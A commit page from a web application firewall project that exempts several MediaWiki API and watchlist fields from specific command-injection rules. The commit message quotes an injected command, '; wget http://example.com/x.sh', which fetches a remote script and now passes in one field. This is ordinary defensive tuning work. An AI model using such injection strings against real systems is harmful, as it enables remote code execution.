Files
smallwebwaf/internal/coreruleset
sneak 981cf98656
check / check (push) Failing after 1m30s
Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230, 932235 and 932380, which read a title
at the start of a line as a command. "; wget http://example.com/x.sh"
passes in wpTitles as a result; $(...) and /bin/sh are still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 00:53:45 +00:00
..